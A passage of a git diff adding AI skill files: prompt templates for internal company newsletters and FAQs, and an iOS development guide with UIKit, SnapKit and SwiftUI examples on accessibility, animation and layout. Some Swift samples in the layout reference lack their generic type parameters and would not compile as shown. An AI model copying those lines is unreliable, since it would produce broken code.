following tools, please try to use them. If not, you can also let the user know directly that their responses would be better if they gave them access. + +- Slack: look for messages in channels with lots of people, with lots of reactions or lots of responses within the thread +- Email: look for things from executives that discuss company-wide announcements +- Calendar: if there were meetings with large attendee lists, particularly things like All-Hands meetings, big company announcements, etc. If there were documents attached to those meetings, those are great links to include. +- Documents: if there were new docs published in the last week or two that got a lot of attention, you can link them. These should be things like company-wide vision docs, plans for the upcoming quarter or half, things authored by critical executives, etc. +- External press: if you see references to articles or press we've received over the past week, that could be really cool too. + +If you don't have access to any of these things, you can ask the user for things they want to cover. In this case, you'll mostly just be polishing up and fitting to this format more directly. + +## Sections +The company is pretty big: 1000+ people. There are a variety of different teams and initiatives going on across the company. To make sure the update works well, try breaking it into sections of similar things. You might break into clusters like {product development, go to market, finance} or {recruiting, execution, vision}, or {external news, internal news} etc. Try to make sure the different areas of the company are highlighted well. + +## Prioritization +Focus on: +- Company-wide impact (not team-specific details) +- Announcements from leadership +- Major milestones and achievements +- Information that affects most employees +- External recognition or press + +Avoid: +- Overly granular team updates (save those for 3Ps) +- Information only relevant to small groups +- Duplicate information already communicated + +## Example Formats + +:megaphone: Company Announcements +- Announcement 1 +- Announcement 2 +- Announcement 3 + +:dart: Progress on Priorities +- Area 1 + - Sub-area 1 + - Sub-area 2 + - Sub-area 3 +- Area 2 + - Sub-area 1 + - Sub-area 2 + - Sub-area 3 +- Area 3 + - Sub-area 1 + - Sub-area 2 + - Sub-area 3 + +:pillar: Leadership Updates +- Post 1 +- Post 2 +- Post 3 + +:thread: Social Updates +- Update 1 +- Update 2 +- Update 3 diff --git a/skills/internal-comms/examples/faq-answers.md b/skills/internal-comms/examples/faq-answers.md new file mode 100644 index 0000000..395262a --- /dev/null +++ b/skills/internal-comms/examples/faq-answers.md @@ -0,0 +1,30 @@ +## Instructions +You are an assistant for answering questions that are being asked across the company. Every week, there are lots of questions that get asked across the company, and your goal is to try to summarize what those questions are. We want our company to be well-informed and on the same page, so your job is to produce a set of frequently asked questions that our employees are asking and attempt to answer them. Your singular job is to do two things: + +- Find questions that are big sources of confusion for lots of employees at the company, generally about things that affect a large portion of the employee base +- Attempt to give a nice summarized answer to that question in order to minimize confusion. + +Some examples of areas that may be interesting to folks: recent corporate events (fundraising, new executives, etc.), upcoming launches, hiring progress, changes to vision or focus, etc. + + +## Tools Available +You should use the company's available tools, where communication and work happens. For most companies, it looks something like this: +- Slack: questions being asked across the company - it could be questions in response to posts with lots of responses, questions being asked with lots of reactions or thumbs up to show support, or anything else to show that a large number of employees want to ask the same things +- Email: emails with FAQs written directly in them can be a good source as well +- Documents: docs in places like Google Drive, linked on calendar events, etc. can also be a good source of FAQs, either directly added or inferred based on the contents of the doc + +## Formatting +The formatting should be pretty basic: + +- *Question*: [insert question - 1 sentence] +- *Answer*: [insert answer - 1-2 sentence] + +## Guidance +Make sure you're being holistic in your questions. Don't focus too much on just the user in question or the team they are a part of, but try to capture the entire company. Try to be as holistic as you can in reading all the tools available, producing responses that are relevant to all at the company. + +## Answer Guidelines +- Base answers on official company communications when possible +- If information is uncertain, indicate that clearly +- Link to authoritative sources (docs, announcements, emails) +- Keep tone professional but approachable +- Flag if a question requires executive input or official response \ No newline at end of file diff --git a/skills/internal-comms/examples/general-comms.md b/skills/internal-comms/examples/general-comms.md new file mode 100644 index 0000000..0ea9770 --- /dev/null +++ b/skills/internal-comms/examples/general-comms.md @@ -0,0 +1,16 @@ + ## Instructions + You are being asked to write internal company communication that doesn't fit into the standard formats (3P + updates, newsletters, or FAQs). + + Before proceeding: + 1. Ask the user about their target audience + 2. Understand the communication's purpose + 3. Clarify the desired tone (formal, casual, urgent, informational) + 4. Confirm any specific formatting requirements + + Use these general principles: + - Be clear and concise + - Use active voice + - Put the most important information first + - Include relevant links and references + - Match the company's communication style \ No newline at end of file diff --git a/skills/ios-application-dev/SKILL.md b/skills/ios-application-dev/SKILL.md new file mode 100644 index 0000000..7d9992b --- /dev/null +++ b/skills/ios-application-dev/SKILL.md @@ -0,0 +1,178 @@ +--- +name: ios-application-dev +description: | + iOS application development guide covering UIKit, SnapKit, and SwiftUI. Includes touch targets, safe areas, navigation patterns, Dynamic Type, Dark Mode, accessibility, collection views, common UI components, and SwiftUI design guidelines. For detailed references on specific topics, see the reference files. + Use when: developing iOS apps, implementing UI, reviewing iOS code, working with UIKit/SnapKit/SwiftUI layouts, building iPhone interfaces, Swift mobile development, Apple HIG compliance, iOS accessibility implementation. +license: MIT +metadata: + author: MiniMax-OpenSource + version: "1.0.0" + category: mobile + sources: + - Apple Human Interface Guidelines + - Apple Developer Documentation +--- + +# iOS Application Development Guide + +A practical guide for building iOS applications using UIKit, SnapKit, and SwiftUI. Focuses on proven patterns and Apple platform conventions. + +## Quick Reference + +### UIKit + +| Purpose | Component | +|---------|-----------| +| Main sections | `UITabBarController` | +| Drill-down | `UINavigationController` | +| Focused task | Sheet presentation | +| Critical choice | `UIAlertController` | +| Secondary actions | `UIContextMenuInteraction` | +| List content | `UICollectionView` + `DiffableDataSource` | +| Sectioned list | `DiffableDataSource` + `headerMode` | +| Grid layout | `UICollectionViewCompositionalLayout` | +| Search | `UISearchController` | +| Share | `UIActivityViewController` | +| Location (once) | `CLLocationButton` | +| Feedback | `UIImpactFeedbackGenerator` | +| Linear layout | `UIStackView` | +| Custom shapes | `CAShapeLayer` + `UIBezierPath` | +| Gradients | `CAGradientLayer` | +| Modern buttons | `UIButton.Configuration` | +| Dynamic text | `UIFontMetrics` + `preferredFont` | +| Dark mode | Semantic colors (`.systemBackground`, `.label`) | +| Permissions | Contextual request + `AVCaptureDevice` | +| Lifecycle | `UIApplication` notifications | + +### SwiftUI + +| Purpose | Component | +|---------|-----------| +| Main sections | `TabView` + `tabItem` | +| Drill-down | `NavigationStack` + `NavigationPath` | +| Focused task | `.sheet` + `presentationDetents` | +| Critical choice | `.alert` | +| Secondary actions | `.contextMenu` | +| List content | `List` + `.insetGrouped` | +| Search | `.searchable` | +| Share | `ShareLink` | +| Location (once) | `LocationButton` | +| Feedback | `UIImpactFeedbackGenerator` | +| Progress (known) | `ProgressView(value:total:)` | +| Progress (unknown) | `ProgressView()` | +| Dynamic text | `.font(.body)` semantic styles | +| Dark mode | `.primary`, `.secondary`, `Color(.systemBackground)` | +| Scene lifecycle | `@Environment(\.scenePhase)` | +| Reduce motion | `@Environment(\.accessibilityReduceMotion)` | +| Dynamic type | `@Environment(\.dynamicTypeSize)` | + +## Core Principles + +### Layout +- Touch targets >= 44pt +- Content within safe areas (SwiftUI respects by default, use `.ignoresSafeArea()` only for backgrounds) +- Use 8pt spacing increments (8, 16, 24, 32, 40, 48) +- Primary actions in thumb zone +- Support all screen sizes (iPhone SE 375pt to Pro Max 430pt) + +### Typography +- UIKit: `preferredFont(forTextStyle:)` + `adjustsFontForContentSizeCategory = true` +- SwiftUI: semantic text styles `.headline`, `.body`, `.caption` +- Custom fonts: `UIFontMetrics` / `Font.custom(_:size:relativeTo:)` +- Adapt layout at accessibility sizes (minimum 11pt) + +### Colors +- Use semantic system colors (`.systemBackground`, `.label`, `.primary`, `.secondary`) +- Asset catalog variants for custom colors (Any/Dark Appearance) +- No color-only information (pair with icons or text) +- Contrast ratio >= 4.5:1 for normal text, 3:1 for large text + +### Accessibility +- Labels on icon buttons (`.accessibilityLabel()`) +- Reduce motion respected (`@Environment(\.accessibilityReduceMotion)`) +- Logical reading order (`.accessibilitySortPriority()`) +- Support Bold Text, Increase Contrast preferences + +### Navigation +- Tab bar (3-5 sections) stays visible during navigation +- Back swipe works (never override system gestures) +- State preserved across tabs (`@SceneStorage`, `@State`) +- Never use hamburger menus + +### Privacy & Permissions +- Request permissions in context (not at launch) +- Custom explanation before system dialog +- Support Sign in with Apple +- Respect ATT denial + +## Checklist + +### Layout +- [ ] Touch targets >= 44pt +- [ ] Content within safe areas +- [ ] Primary actions in thumb zone (bottom half) +- [ ] Flexible widths for all screen sizes (SE to Pro Max) +- [ ] Spacing aligns to 8pt grid + +### Typography +- [ ] Semantic text styles or UIFontMetrics-scaled custom fonts +- [ ] Dynamic Type supported up to accessibility sizes +- [ ] Layouts reflow at large sizes (no truncation) +- [ ] Minimum text size 11pt + +### Colors +- [ ] Semantic system colors or light/dark asset variants +- [ ] Dark Mode is intentional (not just inverted) +- [ ] No color-only information +- [ ] Text contrast >= 4.5:1 (normal) / 3:1 (large) +- [ ] Single accent color for interactive elements + +### Accessibility +- [ ] VoiceOver labels on all interactive elements +- [ ] Logical reading order +- [ ] Bold Text preference respected +- [ ] Reduce Motion disables decorative animations +- [ ] All gestures have alternative access paths + +### Navigation +- [ ] Tab bar for 3-5 top-level sections +- [ ] No hamburger/drawer menus +- [ ] Tab bar stays visible during navigation +- [ ] Back swipe works throughout +- [ ] State preserved across tabs + +### Components +- [ ] Alerts for critical decisions only +- [ ] Sheets have dismiss path (button and/or swipe) +- [ ] List rows >= 44pt tall +- [ ] Destructive buttons use `.destructive` role + +### Privacy +- [ ] Permissions requested in context (not at launch) +- [ ] Custom explanation before system permission dialog +- [ ] Sign in with Apple offered with other providers +- [ ] Basic features usable without account +- [ ] ATT prompt shown if tracking, denial respected + +### System Integration +- [ ] App handles interruptions gracefully (calls, background, Siri) +- [ ] App content indexed for Spotlight +- [ ] Share Sheet available for shareable content + +## References + +| Topic | Reference | +|-------|-----------| +| Touch Targets, Safe Area, CollectionView | [Layout System](references/layout-system.md) | +| TabBar, NavigationController, Modal | [Navigation Patterns](references/navigation-patterns.md) | +| StackView, Button, Alert, Search, ContextMenu | [UIKit Components](references/uikit-components.md) | +| CAShapeLayer, CAGradientLayer, Core Animation | [Graphics & Animation](references/graphics-animation.md) | +| Dynamic Type, Semantic Colors, VoiceOver | [Accessibility](references/accessibility.md) | +| Permissions, Location, Share, Lifecycle, Haptics | [System Integration](references/system-integration.md) | +| Metal Shaders & GPU | [Metal Shader Reference](references/metal-shader.md) | +| SwiftUI HIG, Components, Patterns, Anti-Patterns | [SwiftUI Design Guidelines](references/swiftui-design-guidelines.md) | +| Optionals, Protocols, async/await, ARC, Error Handling | [Swift Coding Standards](references/swift-coding-standards.md) | + +--- + +Swift, SwiftUI, UIKit, SF Symbols, Metal, and Apple are trademarks of Apple Inc. SnapKit is a trademark of its respective owners. diff --git a/skills/ios-application-dev/references/accessibility.md b/skills/ios-application-dev/references/accessibility.md new file mode 100644 index 0000000..22ecab5 --- /dev/null +++ b/skills/ios-application-dev/references/accessibility.md @@ -0,0 +1,259 @@ +# Accessibility + +iOS accessibility guide covering Dynamic Type, semantic colors, VoiceOver, and motion adaptation. + +## Dynamic Type + +### Using System Fonts + +```swift +private func setupLabels() { + let titleLabel = UILabel() + titleLabel.font = .preferredFont(forTextStyle: .headline) + titleLabel.adjustsFontForContentSizeCategory = true + + let bodyLabel = UILabel() + bodyLabel.font = .preferredFont(forTextStyle: .body) + bodyLabel.adjustsFontForContentSizeCategory = true + bodyLabel.numberOfLines = 0 +} +``` + +### Custom Font Scaling + +```swift +extension UIFont { + static func scaled(_ name: String, size: CGFloat, for style: TextStyle) -> UIFont { + guard let font = UIFont(name: name, size: size) else { + return .preferredFont(forTextStyle: style) + } + return UIFontMetrics(forTextStyle: style).scaledFont(for: font) + } +} + +let customFont = UIFont.scaled("Avenir-Medium", size: 16, for: .body) +``` + +### Text Style Reference + +| Style | Default Size | Usage | +|-------|--------------|-------| +| `.largeTitle` | 34pt | Screen titles | +| `.title1` | 28pt | Primary headings | +| `.title2` | 22pt | Secondary headings | +| `.title3` | 20pt | Tertiary headings | +| `.headline` | 17pt (semibold) | Important information | +| `.body` | 17pt | Body text | +| `.callout` | 16pt | Explanatory text | +| `.subheadline` | 15pt | Subtitles | +| `.footnote` | 13pt | Footnotes | +| `.caption1` | 12pt | Labels | +| `.caption2` | 11pt | Small labels | + +### Adapting Layout for Large Text + +```swift +override func traitCollectionDidChange(_ previous: UITraitCollection?) { + super.traitCollectionDidChange(previous) + + let isLargeText = traitCollection.preferredContentSizeCategory.isAccessibilityCategory + contentStack.axis = isLargeText ? .vertical : .horizontal + + if isLargeText { + iconImageView.snp.remakeConstraints { make in + make.size.equalTo(64) + } + } else { + iconImageView.snp.remakeConstraints { make in + make.size.equalTo(44) + } + } +} +``` + +## Semantic Colors + +Use system semantic colors for automatic Dark Mode adaptation: + +```swift +view.backgroundColor = .systemBackground +containerView.backgroundColor = .secondarySystemBackground +cardView.backgroundColor = .tertiarySystemBackground + +titleLabel.textColor = .label +subtitleLabel.textColor = .secondaryLabel +hintLabel.textColor = .tertiaryLabel +placeholderLabel.textColor = .placeholderText + +separatorView.backgroundColor = .separator +borderView.layer.borderColor = UIColor.separator.cgColor +``` + +### System Color Reference + +| Color | Light Mode | Dark Mode | Usage | +|-------|------------|-----------|-------| +| `.systemBackground` | White | Black | Main background | +| `.secondarySystemBackground` | Light gray | Dark gray | Card/grouped background | +| `.tertiarySystemBackground` | Lighter gray | Medium gray | Nested content background | +| `.label` | Black | White | Primary text | +| `.secondaryLabel` | Gray | Light gray | Secondary text | +| `.tertiaryLabel` | Light gray | Dark gray | Auxiliary text | + +### Custom Color Adaptation + +```swift +extension UIColor { + static let customAccent = UIColor { traitCollection in + switch traitCollection.userInterfaceStyle { + case .dark: + return UIColor(red: 0.4, green: 0.8, blue: 1.0, alpha: 1.0) + default: + return UIColor(red: 0.0, green: 0.5, blue: 0.8, alpha: 1.0) + } + } +} +``` + +## VoiceOver + +### Basic Labels + +```swift +let cartButton = UIButton(type: .system) +cartButton.setImage(UIImage(systemName: "cart.badge.plus"), for: .normal) +cartButton.accessibilityLabel = "Add to cart" + +let ratingView = UIView() +ratingView.accessibilityLabel = "Rating: 4 out of 5 stars" + +let closeButton = UIButton() +closeButton.accessibilityLabel = "Close" +closeButton.accessibilityHint = "Dismisses this dialog" +``` + +### Custom Accessibility + +```swift +class ProductCell: UICollectionViewCell { + override var accessibilityLabel: String? { + get { + return "\(product.name), \(product.price), \(product.isAvailable ? "In stock" : "Out of stock")" + } + set {} + } + + override var accessibilityTraits: UIAccessibilityTraits { + get { + var traits: UIAccessibilityTraits = .button + if product.isSelected { + traits.insert(.selected) + } + return traits + } + set {} + } +} +``` + +### Accessibility Container + +```swift +class CustomContainerView: UIView { + override var isAccessibilityElement: Bool { + get { false } + set {} + } + + override var accessibilityElements: [Any]? { + get { + return [titleLabel, actionButton, detailLabel] + } + set {} + } +} +``` + +### VoiceOver Notifications + +```swift +func didLoadContent() { + UIAccessibility.post(notification: .screenChanged, argument: headerLabel) +} + +func didUpdateStatus() { + UIAccessibility.post(notification: .announcement, argument: "Download complete") +} +``` + +## Reduce Motion + +```swift +func animateTransition() { + let duration: TimeInterval = UIAccessibility.isReduceMotionEnabled ? 0 : 0.3 + UIView.animate(withDuration: duration) { + self.cardView.alpha = 1 + } +} + +func showPopup() { + if UIAccessibility.isReduceMotionEnabled { + popupView.alpha = 1 + } else { + popupView.transform = CGAffineTransform(scaleX: 0.8, y: 0.8) + popupView.alpha = 0 + UIView.animate(withDuration: 0.3, delay: 0, usingSpringWithDamping: 0.7, initialSpringVelocity: 0) { + self.popupView.transform = .identity + self.popupView.alpha = 1 + } + } +} +``` + +### Observing Setting Changes + +```swift +NotificationCenter.default.addObserver( + self, + selector: #selector(reduceMotionChanged), + name: UIAccessibility.reduceMotionStatusDidChangeNotification, + object: nil +) + +@objc func reduceMotionChanged() { + updateAnimationSettings() +} +``` + +## Accessibility Checklist + +### Basic Requirements +- [ ] All icon buttons have `accessibilityLabel` +- [ ] Custom controls have correct `accessibilityTraits` +- [ ] Images have `accessibilityLabel` or marked as decorative +- [ ] Forms have clear error messages + +### Dynamic Type +- [ ] Using `preferredFont(forTextStyle:)` +- [ ] Set `adjustsFontForContentSizeCategory = true` +- [ ] Layout adapts at accessibility sizes +- [ ] Text is not truncated + +### Color Contrast +- [ ] Body text contrast >= 4.5:1 +- [ ] Large text contrast >= 3:1 +- [ ] Information not conveyed by color alone + +### Motion +- [ ] Respect Reduce Motion setting +- [ ] No flashing or rapid animation +- [ ] Auto-playing animations can be paused + +### Interaction +- [ ] Touch targets >= 44x44pt +- [ ] Gestures have alternative actions +- [ ] Timeouts can be extended + +--- + +*UIKit, VoiceOver, Dynamic Type, and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/graphics-animation.md b/skills/ios-application-dev/references/graphics-animation.md new file mode 100644 index 0000000..12b660e --- /dev/null +++ b/skills/ios-application-dev/references/graphics-animation.md @@ -0,0 +1,350 @@ +# Graphics & Animation + +iOS graphics and animation guide covering CAShapeLayer, CAGradientLayer, UIBezierPath, and Core Animation. + +## CAShapeLayer + +For custom shapes, paths, and animations: + +```swift +class CircularProgressView: UIView { + private let trackLayer = CAShapeLayer() + private let progressLayer = CAShapeLayer() + + var progress: CGFloat = 0 { + didSet { updateProgress() } + } + + override init(frame: CGRect) { + super.init(frame: frame) + setupLayers() + } + + required init?(coder: NSCoder) { + super.init(coder: coder) + setupLayers() + } + + private func setupLayers() { + let center = CGPoint(x: bounds.midX, y: bounds.midY) + let radius = min(bounds.width, bounds.height) / 2 - 10 + let startAngle = -CGFloat.pi / 2 + let endAngle = startAngle + 2 * CGFloat.pi + + let circularPath = UIBezierPath( + arcCenter: center, + radius: radius, + startAngle: startAngle, + endAngle: endAngle, + clockwise: true + ) + + trackLayer.path = circularPath.cgPath + trackLayer.strokeColor = UIColor.systemGray5.cgColor + trackLayer.fillColor = UIColor.clear.cgColor + trackLayer.lineWidth = 10 + trackLayer.lineCap = .round + layer.addSublayer(trackLayer) + + progressLayer.path = circularPath.cgPath + progressLayer.strokeColor = UIColor.systemBlue.cgColor + progressLayer.fillColor = UIColor.clear.cgColor + progressLayer.lineWidth = 10 + progressLayer.lineCap = .round + progressLayer.strokeEnd = 0 + layer.addSublayer(progressLayer) + } + + override func layoutSubviews() { + super.layoutSubviews() + setupLayers() + } + + private func updateProgress() { + progressLayer.strokeEnd = progress + } + + func animateProgress(to value: CGFloat, duration: TimeInterval = 0.5) { + let animation = CABasicAnimation(keyPath: "strokeEnd") + animation.fromValue = progressLayer.strokeEnd + animation.toValue = value + animation.duration = duration + animation.timingFunction = CAMediaTimingFunction(name: .easeInEaseOut) + progressLayer.strokeEnd = value + progressLayer.add(animation, forKey: "progressAnimation") + } +} +``` + +## UIBezierPath + +### Common Shapes + +```swift +let roundedRect = UIBezierPath( + roundedRect: bounds, + cornerRadius: 12 +) + +let customCorners = UIBezierPath( + roundedRect: bounds, + byRoundingCorners: [.topLeft, .topRight], + cornerRadii: CGSize(width: 16, height: 16) +) + +let triangle = UIBezierPath() +triangle.move(to: CGPoint(x: bounds.midX, y: 0)) +triangle.addLine(to: CGPoint(x: bounds.maxX, y: bounds.maxY)) +triangle.addLine(to: CGPoint(x: 0, y: bounds.maxY)) +triangle.close() + +let circle = UIBezierPath( + arcCenter: CGPoint(x: bounds.midX, y: bounds.midY), + radius: bounds.width / 2, + startAngle: 0, + endAngle: .pi * 2, + clockwise: true +) +``` + +### Custom Paths + +```swift +let customPath = UIBezierPath() +customPath.move(to: CGPoint(x: 0, y: bounds.height)) +customPath.addCurve( + to: CGPoint(x: bounds.width, y: 0), + controlPoint1: CGPoint(x: bounds.width * 0.3, y: bounds.height), + controlPoint2: CGPoint(x: bounds.width * 0.7, y: 0) +) +``` + +## CAGradientLayer + +### Linear Gradient Button + +```swift +class GradientButton: UIButton { + private let gradientLayer = CAGradientLayer() + + override init(frame: CGRect) { + super.init(frame: frame) + setupGradient() + } + + required init?(coder: NSCoder) { + super.init(coder: coder) + setupGradient() + } + + private func setupGradient() { + gradientLayer.colors = [ + UIColor.systemBlue.cgColor, + UIColor.systemPurple.cgColor + ] + gradientLayer.startPoint = CGPoint(x: 0, y: 0.5) + gradientLayer.endPoint = CGPoint(x: 1, y: 0.5) + gradientLayer.cornerRadius = 12 + layer.insertSublayer(gradientLayer, at: 0) + } + + override func layoutSubviews() { + super.layoutSubviews() + gradientLayer.frame = bounds + } +} +``` + +### Gradient Background View + +```swift +class GradientBackgroundView: UIView { + private let gradientLayer = CAGradientLayer() + + override init(frame: CGRect) { + super.init(frame: frame) + setupGradient() + } + + required init?(coder: NSCoder) { + super.init(coder: coder) + setupGradient() + } + + private func setupGradient() { + gradientLayer.colors = [ + UIColor.systemBackground.cgColor, + UIColor.secondarySystemBackground.cgColor + ] + gradientLayer.locations = [0.0, 1.0] + gradientLayer.startPoint = CGPoint(x: 0.5, y: 0) + gradientLayer.endPoint = CGPoint(x: 0.5, y: 1) + layer.insertSublayer(gradientLayer, at: 0) + } + + override func layoutSubviews() { + super.layoutSubviews() + gradientLayer.frame = bounds + } + + override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) { + super.traitCollectionDidChange(previousTraitCollection) + gradientLayer.colors = [ + UIColor.systemBackground.cgColor, + UIColor.secondarySystemBackground.cgColor + ] + } +} +``` + +### Gradient Types + +| Type | Configuration | +|------|---------------| +| Linear (horizontal) | `startPoint: (0, 0.5)`, `endPoint: (1, 0.5)` | +| Linear (vertical) | `startPoint: (0.5, 0)`, `endPoint: (0.5, 1)` | +| Diagonal | `startPoint: (0, 0)`, `endPoint: (1, 1)` | +| Radial | Use `CAGradientLayer.type = .radial` | + +## Core Animation + +### Basic Animation + +```swift +func animateScale() { + let animation = CABasicAnimation(keyPath: "transform.scale") + animation.fromValue = 1.0 + animation.toValue = 1.2 + animation.duration = 0.3 + animation.autoreverses = true + animation.timingFunction = CAMediaTimingFunction(name: .easeInEaseOut) + layer.add(animation, forKey: "scaleAnimation") +} + +func animatePosition() { + let animation = CABasicAnimation(keyPath: "position") + animation.fromValue = layer.position + animation.toValue = CGPoint(x: 200, y: 200) + animation.duration = 0.5 + layer.add(animation, forKey: "positionAnimation") +} +``` + +### Keyframe Animation + +```swift +func animateAlongPath() { + let path = UIBezierPath() + path.move(to: CGPoint(x: 50, y: 50)) + path.addCurve( + to: CGPoint(x: 250, y: 250), + controlPoint1: CGPoint(x: 150, y: 50), + controlPoint2: CGPoint(x: 50, y: 250) + ) + + let animation = CAKeyframeAnimation(keyPath: "position") + animation.path = path.cgPath + animation.duration = 2.0 + animation.timingFunction = CAMediaTimingFunction(name: .easeInEaseOut) + layer.add(animation, forKey: "pathAnimation") +} +``` + +### Animation Group + +```swift +func animateMultiple() { + let scaleAnimation = CABasicAnimation(keyPath: "transform.scale") + scaleAnimation.fromValue = 1.0 + scaleAnimation.toValue = 1.5 + + let opacityAnimation = CABasicAnimation(keyPath: "opacity") + opacityAnimation.fromValue = 1.0 + opacityAnimation.toValue = 0.0 + + let group = CAAnimationGroup() + group.animations = [scaleAnimation, opacityAnimation] + group.duration = 0.5 + group.fillMode = .forwards + group.isRemovedOnCompletion = false + + layer.add(group, forKey: "multipleAnimations") +} +``` + +### Spring Animation + +```swift +func springAnimation() { + let spring = CASpringAnimation(keyPath: "transform.scale") + spring.fromValue = 0.8 + spring.toValue = 1.0 + spring.damping = 10 + spring.stiffness = 100 + spring.mass = 1 + spring.initialVelocity = 5 + spring.duration = spring.settlingDuration + layer.add(spring, forKey: "springAnimation") +} +``` + +## UIView Animation + +### Basic UIView Animation + +```swift +UIView.animate(withDuration: 0.3) { + self.view.alpha = 1.0 + self.view.transform = .identity +} + +UIView.animate(withDuration: 0.3, delay: 0, options: [.curveEaseInOut]) { + self.cardView.frame.origin.y = 100 +} completion: { _ in + self.didFinishAnimation() +} +``` + +### Spring Animation + +```swift +UIView.animate( + withDuration: 0.6, + delay: 0, + usingSpringWithDamping: 0.7, + initialSpringVelocity: 0.5, + options: [] +) { + self.popupView.transform = .identity +} +``` + +### Keyframe Animation + +```swift +UIView.animateKeyframes(withDuration: 1.0, delay: 0) { + UIView.addKeyframe(withRelativeStartTime: 0, relativeDuration: 0.25) { + self.view.transform = CGAffineTransform(scaleX: 1.2, y: 1.2) + } + UIView.addKeyframe(withRelativeStartTime: 0.25, relativeDuration: 0.25) { + self.view.transform = CGAffineTransform(rotationAngle: .pi / 4) + } + UIView.addKeyframe(withRelativeStartTime: 0.5, relativeDuration: 0.5) { + self.view.transform = .identity + } +} +``` + +## Timing Functions + +| Name | Description | +|------|-------------| +| `.linear` | Constant speed | +| `.easeIn` | Slow start | +| `.easeOut` | Slow end | +| `.easeInEaseOut` | Slow start and end | +| `.default` | System default | + +--- + +*UIKit, Core Animation, and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/layout-system.md b/skills/ios-application-dev/references/layout-system.md new file mode 100644 index 0000000..5269285 --- /dev/null +++ b/skills/ios-application-dev/references/layout-system.md @@ -0,0 +1,199 @@ +# Layout System + +iOS layout system guide covering touch targets, safe areas, UICollectionView, and Compositional Layout. + +## Touch Targets + +Interactive elements need adequate tap areas. The recommended minimum is 44x44 points. + +```swift +let actionButton = UIButton(type: .system) +actionButton.setTitle("Submit", for: .normal) +view.addSubview(actionButton) + +actionButton.snp.makeConstraints { make in + make.height.greaterThanOrEqualTo(44) + make.leading.trailing.equalToSuperview().inset(16) + make.bottom.equalTo(view.safeAreaLayoutGuide).offset(-16) +} +``` + +Use 8-point increments for spacing (8, 16, 24, 32, 40, 48) to maintain visual consistency. + +## Safe Area + +Always constrain content to the safe area to avoid the notch, Dynamic Island, and home indicator. + +```swift +class MainViewController: UIViewController { + private let contentStack = UIStackView() + + override func viewDidLoad() { + super.viewDidLoad() + view.backgroundColor = .systemBackground + + contentStack.axis = .vertical + contentStack.spacing = 16 + view.addSubview(contentStack) + + contentStack.snp.makeConstraints { make in + make.top.bottom.equalTo(view.safeAreaLayoutGuide) + make.leading.trailing.equalTo(view.safeAreaLayoutGuide).inset(16) + } + } +} +``` + +## UICollectionView with Diffable Data Source + +```swift +class ItemsViewController: UIViewController { + enum Section { case main } + + private var collectionView: UICollectionView! + private var dataSource: UICollectionViewDiffableDataSource! + + override func viewDidLoad() { + super.viewDidLoad() + setupCollectionView() + configureDataSource() + } + + private func setupCollectionView() { + var config = UICollectionLayoutListConfiguration(appearance: .insetGrouped) + config.trailingSwipeActionsConfigurationProvider = { [weak self] indexPath in + self?.makeSwipeActions(for: indexPath) + } + + let layout = UICollectionViewCompositionalLayout.list(using: config) + collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout) + + view.addSubview(collectionView) + collectionView.snp.makeConstraints { make in + make.edges.equalToSuperview() + } + } + + private func configureDataSource() { + let cellRegistration = UICollectionView.CellRegistration { + cell, indexPath, item in + var content = cell.defaultContentConfiguration() + content.text = item.title + content.secondaryText = item.subtitle + cell.contentConfiguration = content + } + + dataSource = UICollectionViewDiffableDataSource(collectionView: collectionView) { + collectionView, indexPath, item in + collectionView.dequeueConfiguredReusableCell( + using: cellRegistration, for: indexPath, item: item + ) + } + } + + func updateItems(_ items: [Item]) { + var snapshot = NSDiffableDataSourceSnapshot() + snapshot.appendSections([.main]) + snapshot.appendItems(items) + dataSource.apply(snapshot) + } +} +``` + +## Grid Layout + +```swift +private func createGridLayout() -> UICollectionViewLayout { + let itemSize = NSCollectionLayoutSize( + widthDimension: .fractionalWidth(1/3), + heightDimension: .fractionalHeight(1.0) + ) + let item = NSCollectionLayoutItem(layoutSize: itemSize) + item.contentInsets = NSDirectionalEdgeInsets(top: 2, leading: 2, bottom: 2, trailing: 2) + + let groupSize = NSCollectionLayoutSize( + widthDimension: .fractionalWidth(1.0), + heightDimension: .fractionalWidth(1/3) + ) + let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitems: [item]) + + let section = NSCollectionLayoutSection(group: group) + return UICollectionViewCompositionalLayout(section: section) +} +``` + +## Sectioned List with Headers + +```swift +class CategorizedListVC: UIViewController { + enum Section: Hashable { + case favorites, recent, all + } + + private var dataSource: UICollectionViewDiffableDataSource! + + private func setupCollectionView() { + var config = UICollectionLayoutListConfiguration(appearance: .insetGrouped) + config.headerMode = .supplementary + + let layout = UICollectionViewCompositionalLayout.list(using: config) + collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout) + } + + private func configureDataSource() { + let cellRegistration = UICollectionView.CellRegistration { + cell, indexPath, item in + var content = cell.defaultContentConfiguration() + content.text = item.title + cell.contentConfiguration = content + } + + let headerRegistration = UICollectionView.SupplementaryRegistration( + elementKind: UICollectionView.elementKindSectionHeader + ) { [weak self] header, elementKind, indexPath in + guard let section = self?.dataSource.sectionIdentifier(for: indexPath.section) else { return } + var content = header.defaultContentConfiguration() + content.text = self?.title(for: section) + header.contentConfiguration = content + } + + dataSource = UICollectionViewDiffableDataSource(collectionView: collectionView) { + collectionView, indexPath, item in + collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: item) + } + + dataSource.supplementaryViewProvider = { collectionView, kind, indexPath in + collectionView.dequeueConfiguredReusableSupplementary(using: headerRegistration, for: indexPath) + } + } + + func applySnapshot(favorites: [Item], recent: [Item], all: [Item]) { + var snapshot = NSDiffableDataSourceSnapshot() + if !favorites.isEmpty { + snapshot.appendSections([.favorites]) + snapshot.appendItems(favorites, toSection: .favorites) + } + if !recent.isEmpty { + snapshot.appendSections([.recent]) + snapshot.appendItems(recent, toSection: .recent) + } + snapshot.appendSections([.all]) + snapshot.appendItems(all, toSection: .all) + dataSource.apply(snapshot) + } +} +``` + +## Spacing Guidelines + +| Spacing | Usage | +|---------|-------| +| 8pt | Compact element spacing | +| 16pt | Standard padding | +| 24pt | Section spacing | +| 32pt | Large section separation | +| 48pt | Screen margins (large screens) | + +--- + +*UIKit and Apple are trademarks of Apple Inc. SnapKit is a trademark of its respective owners.* diff --git a/skills/ios-application-dev/references/metal-shader.md b/skills/ios-application-dev/references/metal-shader.md new file mode 100644 index 0000000..fecc5db --- /dev/null +++ b/skills/ios-application-dev/references/metal-shader.md @@ -0,0 